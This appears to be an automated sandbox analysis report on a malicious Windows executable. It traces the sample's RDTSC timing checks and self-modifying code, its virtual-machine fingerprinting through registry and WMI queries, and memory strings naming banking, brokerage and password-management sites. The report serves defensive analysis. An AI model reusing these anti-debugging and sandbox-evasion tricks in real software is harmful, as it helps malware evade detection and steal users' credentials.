Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A051E second address: 50A0541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33751B277Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0541 second address: 50A0568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33751C23E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0568 second address: 50A0578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751B277Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 5090DF5 second address: 5090DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 5090DFB second address: 5090E7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov cx, 19CDh 0x0000000f mov ecx, 6FEA85C9h 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 call 00007F33751B277Bh 0x0000001d pop ecx 0x0000001e mov esi, edx 0x00000020 popad 0x00000021 push edi 0x00000022 pushfd 0x00000023 jmp 00007F33751B2780h 0x00000028 adc cx, 3D48h 0x0000002d jmp 00007F33751B277Bh 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 xchg eax, ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F33751B2780h 0x0000003f and si, FFA8h 0x00000044 jmp 00007F33751B277Bh 0x00000049 popfd 0x0000004a mov ebx, eax 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 5090E7F second address: 5090E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 5090E85 second address: 5090E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 5090EC8 second address: 50A0979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F33751C23DEh 0x0000000f ret 0x00000010 nop 0x00000011 jmp 00007F33751C23D2h 0x00000013 and bl, 00000001h 0x00000016 movzx eax, bl 0x00000019 add esp, 3Ch 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f pop ebp 0x00000020 ret 0x00000021 add esp, 04h 0x00000024 mov eax, dword ptr [00923010h+ebx*4] 0x0000002b mov ecx, 3C17A731h 0x00000030 xor ecx, dword ptr [00923018h] 0x00000036 add eax, ecx 0x00000038 inc eax 0x00000039 jmp eax 0x0000003b mov eax, dword ptr [0092301Ch] 0x00000040 mov ecx, EB7ED259h 0x00000045 xor ecx, dword ptr [00923024h] 0x0000004b add eax, ecx 0x0000004d inc eax 0x0000004e jmp eax 0x00000050 push edi 0x00000051 call 00007F33751EE100h 0x00000056 push ebp 0x00000057 push ebx 0x00000058 push edi 0x00000059 push esi 0x0000005a sub esp, 44h 0x0000005d push 00000000h 0x0000005f call 00007F3379953C73h 0x00000064 mov edi, edi 0x00000066 jmp 00007F33751C23E4h 0x0000006b xchg eax, ebp 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0979 second address: 50A0996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0996 second address: 50A099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A099C second address: 50A09A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09A0 second address: 50A09A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09A4 second address: 50A09C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33751B2785h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09C4 second address: 50A09D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751C23DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09D4 second address: 50A09D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09D8 second address: 50A09EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f movsx ebx, ax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09EB second address: 50A09F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A09F1 second address: 50A0A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, ah 0x0000000f pushfd 0x00000010 jmp 00007F33751C23E3h 0x00000015 xor ecx, 0876E07Eh 0x0000001b jmp 00007F33751C23E9h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0A35 second address: 50A0A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0A3B second address: 50A0A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75EA459Ch], 05h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F33751C23E5h 0x00000016 jmp 00007F33751C23DBh 0x0000001b popfd 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f je 00007F33E5F60365h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0A7C second address: 50A0A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0A82 second address: 50A0AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F33751C23E4h 0x00000009 sbb ecx, 35FA1838h 0x0000000f jmp 00007F33751C23DBh 0x00000014 popfd 0x00000015 jmp 00007F33751C23E8h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F33751C23DAh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0AD6 second address: 50A0ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0ADA second address: 50A0AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0B03 second address: 50A0B78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2786h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 50F6F7EDh 0x0000000e jmp 00007F33751B2781h 0x00000013 add dword ptr [esp], 24F2A43Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F33751B2783h 0x00000022 pop esi 0x00000023 pushfd 0x00000024 jmp 00007F33751B2789h 0x00000029 jmp 00007F33751B277Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0B78 second address: 50A0B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751C23E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0B90 second address: 50A0B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0B94 second address: 50A0BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F33E5F673ACh 0x0000000d push 75E42B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75EA4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0BA7 second address: 50A0BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0BAB second address: 50A0BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0BC3 second address: 50A0BEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F33751B2780h 0x00000013 pop esi 0x00000014 mov ax, di 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0BEC second address: 50A0C18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F33751C23E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0C50 second address: 50A0C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F33E5F46492h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F33751B277Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0C7E second address: 50A0C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0C84 second address: 50A0C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0C88 second address: 50A0C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0C8C second address: 50A0CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f pushad 0x00000010 movsx edi, si 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F33751B277Ch 0x0000001b sbb esi, 52636F18h 0x00000021 jmp 00007F33751B277Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C003C second address: 50C0042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0042 second address: 50C0046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0046 second address: 50C004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C004A second address: 50C00BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F33751B2780h 0x00000010 and eax, 77BDE368h 0x00000016 jmp 00007F33751B277Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F33751B2788h 0x00000022 sub eax, 654F35C8h 0x00000028 jmp 00007F33751B277Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F33751B2785h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C00BB second address: 50C00EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F33751C23E8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C00EE second address: 50C00FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C00FD second address: 50C0107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 76F4D1DAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0107 second address: 50C01F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F33751B277Ah 0x0000000f sbb eax, 6D8BC018h 0x00000015 jmp 00007F33751B277Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [esp], esi 0x0000001f jmp 00007F33751B2785h 0x00000024 mov esi, dword ptr [ebp+0Ch] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F33751B277Ch 0x0000002e adc ax, 21A8h 0x00000033 jmp 00007F33751B277Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F33751B2788h 0x0000003f add ecx, 03459408h 0x00000045 jmp 00007F33751B277Bh 0x0000004a popfd 0x0000004b popad 0x0000004c test esi, esi 0x0000004e jmp 00007F33751B2786h 0x00000053 je 00007F33E5F30981h 0x00000059 jmp 00007F33751B2780h 0x0000005e cmp dword ptr [75EA459Ch], 05h 0x00000065 jmp 00007F33751B2780h 0x0000006a je 00007F33E5F48A34h 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F33751B2787h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C01F8 second address: 50C022B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F33751C23DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C022B second address: 50C022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C022F second address: 50C0235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0235 second address: 50C025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F33751B2780h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C025D second address: 50C026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C026C second address: 50C0284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751B2784h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0306 second address: 50C032D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33751C23E7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C032D second address: 50C0333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50C0333 second address: 50C0369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F33751C23E0h 0x0000000b adc esi, 199C9088h 0x00000011 jmp 00007F33751C23DBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e movsx edx, ax 0x00000021 mov bx, si 0x00000024 popad 0x00000025 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Special instruction interceptor: First address: 935E9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Special instruction interceptor: First address: AF3E80 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Special instruction interceptor: First address: AE274D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Special instruction interceptor: First address: B6E424 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Code function: 0_2_00936195 rdtsc

0_2_00936195

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe TID: 5048	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe TID: 6636	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe TID: 1004	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BTn1AT2k3Y.exe, BTn1AT2k3Y.exe, 00000000.00000002.1206185711.0000000000AC6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.1205356218.0000000001268000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208244999.0000000001268000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1076600307.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.919143331.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1076600307.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.919143331.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
